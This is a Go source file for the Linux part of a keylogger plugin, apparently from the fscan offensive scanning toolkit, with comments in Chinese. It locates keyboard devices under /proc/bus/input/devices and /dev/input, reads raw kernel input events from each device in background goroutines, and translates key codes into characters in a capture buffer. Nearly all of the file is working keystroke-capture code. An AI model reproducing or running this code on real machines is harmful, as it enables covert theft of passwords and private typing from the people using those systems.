// +build linux

package keylogger

import (
	"bufio"
	"context"
	"encoding/binary"
	"fmt"
	"io/fs"
	"os"
	"path/filepath"
	"strings"

	"github.com/shadow1ng/fscan/common"
)

// Linux输入事件结构
type InputEvent struct {
	Time  [2]int64 // struct timeval
	Type  uint16
	Code  uint16
	Value int32
}

const (
	EV_KEY = 1
	KEY_PRESS = 1
	KEY_RELEASE = 0
)

// checkLinuxRequirements 检查Linux特定要求
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
	common.LogInfo("检查Linux键盘记录权限...")
	
	// 检查/dev/input目录访问权限
	if _, err := os.Stat("/dev/input"); os.IsNotExist(err) {
		return fmt.Errorf("/dev/input目录不存在，可能不是标准Linux系统")
	}
	
	// 检查是否有输入设备
	inputDevices, err := p.findKeyboardDevices()
	if err != nil {
		return fmt.Errorf("查找键盘设备失败: %v", err)
	}
	
	if len(inputDevices) == 0 {
		common.LogInfo("警告: 未找到键盘设备，将尝试监听所有输入设备")
	} else {
		common.LogInfo(fmt.Sprintf("找到 %d 个键盘设备", len(inputDevices)))
	}
	
	return nil
}

// startLinuxKeylogging 启动Linux键盘记录
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
	common.LogInfo("启动Linux键盘记录...")
	
	// 查找键盘设备
	devices, err := p.findKeyboardDevices()
	if err != nil {
		return fmt.Errorf("查找键盘设备失败: %v", err)
	}
	
	if len(devices) == 0 {
		// 如果找不到明确的键盘设备，尝试监听所有事件设备
		devices, err = p.findAllInputDevices()
		if err != nil {
			return fmt.Errorf("查找输入设备失败: %v", err)
		}
	}
	
	if len(devices) == 0 {
		return fmt.Errorf("未找到任何输入设备")
	}
	
	common.LogInfo(fmt.Sprintf("开始监听 %d 个设备", len(devices)))
	
	// 启动设备监听goroutine
	for _, device := range devices {
		go p.monitorDevice(ctx, device)
	}
	
	// 等待上下文取消
	<-ctx.Done()
	return nil
}

// findKeyboardDevices 查找键盘设备
func (p *KeyloggerPlugin) findKeyboardDevices() ([]string, error) {
	var keyboards []string
	
	// 检查/proc/bus/input/devices文件
	devicesFile := "/proc/bus/input/devices"
	file, err := os.Open(devicesFile)
	if err != nil {
		common.LogInfo("无法打开/proc/bus/input/devices，尝试扫描/dev/input")
		return p.findAllInputDevices()
	}
	defer file.Close()
	
	scanner := bufio.NewScanner(file)
	var currentDevice string
	var isKeyboard bool
	
	for scanner.Scan() {
		line := strings.TrimSpace(scanner.Text())
		
		if strings.HasPrefix(line, "I:") {
			// 新设备开始
			isKeyboard = false
			currentDevice = ""
		} else if strings.HasPrefix(line, "N:") {
			// 设备名称
			if strings.Contains(strings.ToLower(line), "keyboard") ||
			   strings.Contains(strings.ToLower(line), "kbd") {
				isKeyboard = true
			}
		} else if strings.HasPrefix(line, "H:") && isKeyboard {
			// 设备处理器
			parts := strings.Fields(line)
			for _, part := range parts {
				if strings.HasPrefix(part, "event") {
					eventNum := strings.TrimPrefix(part, "event")
					devicePath := fmt.Sprintf("/dev/input/event%s", eventNum)
					keyboards = append(keyboards, devicePath)
					break
				}
			}
		}
	}
	
	return keyboards, nil
}

// findAllInputDevices 查找所有输入设备
func (p *KeyloggerPlugin) findAllInputDevices() ([]string, error) {
	var devices []string
	
	err := filepath.WalkDir("/dev/input", func(path string, d fs.DirEntry, err error) error {
		if err != nil {
			return nil // 跳过错误
		}
		
		if strings.HasPrefix(d.Name(), "event") {
			devices = append(devices, path)
		}
		
		return nil
	})
	
	if err != nil {
		return nil, err
	}
	
	return devices, nil
}

// monitorDevice 监听设备
func (p *KeyloggerPlugin) monitorDevice(ctx context.Context, devicePath string) {
	common.LogInfo(fmt.Sprintf("开始监听设备: %s", devicePath))
	
	file, err := os.Open(devicePath)
	if err != nil {
		common.LogError(fmt.Sprintf("无法打开设备 %s: %v", devicePath, err))
		return
	}
	defer file.Close()
	
	for {
		select {
		case <-ctx.Done():
			return
		default:
			var event InputEvent
			err := binary.Read(file, binary.LittleEndian, &event)
			if err != nil {
				common.LogError(fmt.Sprintf("读取设备 %s 事件失败: %v", devicePath, err))
				return
			}
			
			// 处理键盘事件
			if event.Type == EV_KEY && event.Value == KEY_PRESS {
				keyChar := p.getLinuxKeyChar(event.Code)
				if keyChar != "" {
					p.addKeyToBuffer(keyChar)
				}
			}
		}
	}
}

// getLinuxKeyChar 获取Linux按键字符
func (p *KeyloggerPlugin) getLinuxKeyChar(keyCode uint16) string {
	// Linux内核输入子系统键码映射
	keyMap := map[uint16]string{
		1:   "[Esc]",
		2:   "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
		12:  "-", 13: "=",
		14:  "[Backspace]",
		15:  "[Tab]",
		16:  "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 23: "i", 24: "o", 25: "p",
		26:  "[", 27: "]",
		28:  "[Enter]",
		29:  "[LCtrl]",
		30:  "a", 31: "s", 32: "d", 33: "f", 34: "g", 35: "h", 36: "j", 37: "k", 38: "l",
		39:  ";", 40: "'",
		41:  "`",
		42:  "[LShift]",
		43:  "\\",
		44:  "z", 45: "x", 46: "c", 47: "v", 48: "b", 49: "n", 50: "m",
		51:  ",", 52: ".", 53: "/",
		54:  "[RShift]",
		55:  "*",
		56:  "[LAlt]",
		57:  " ", // 空格
		58:  "[CapsLock]",
		59:  "[F1]", 60: "[F2]", 61: "[F3]", 62: "[F4]", 63: "[F5]", 64: "[F6]",
		65:  "[F7]", 66: "[F8]", 67: "[F9]", 68: "[F10]",
		69:  "[NumLock]",
		70:  "[ScrollLock]",
		71:  "[Home]",
		72:  "[Up]",
		73:  "[PgUp]",
		74:  "-",
		75:  "[Left]",
		76:  "[Center]",
		77:  "[Right]",
		78:  "+",
		79:  "[End]",
		80:  "[Down]",
		81:  "[PgDn]",
		82:  "[Insert]",
		83:  "[Delete]",
		87:  "[F11]", 88: "[F12]",
		96:  "[REnter]",
		97:  "[RCtrl]",
		98:  "/",
		99:  "[PrtSc]",
		100: "[RAlt]",
		102: "[Home]",
		103: "[Up]",
		104: "[PgUp]",
		105: "[Left]",
		106: "[Right]",
		107: "[End]",
		108: "[Down]",
		109: "[PgDn]",
		110: "[Insert]",
		111: "[Delete]",
		125: "[LWin]",
		126: "[RWin]",
		127: "[Menu]",
	}
	
	if keyName, exists := keyMap[keyCode]; exists {
		return keyName
	}
	
	return fmt.Sprintf("[KEY_%d]", keyCode)
}

// checkWindowsRequirements 检查Windows特定要求（Linux平台的空实现）
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
	return fmt.Errorf("不支持的平台")
}

// checkDarwinRequirements 检查Darwin特定要求（Linux平台的空实现）
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
	return fmt.Errorf("不支持的平台")
}

// startWindowsKeylogging 启动Windows键盘记录（Linux平台的空实现）
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
	return fmt.Errorf("不支持的平台")
}

// startDarwinKeylogging 启动Darwin键盘记录（Linux平台的空实现）
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
	return fmt.Errorf("不支持的平台")
}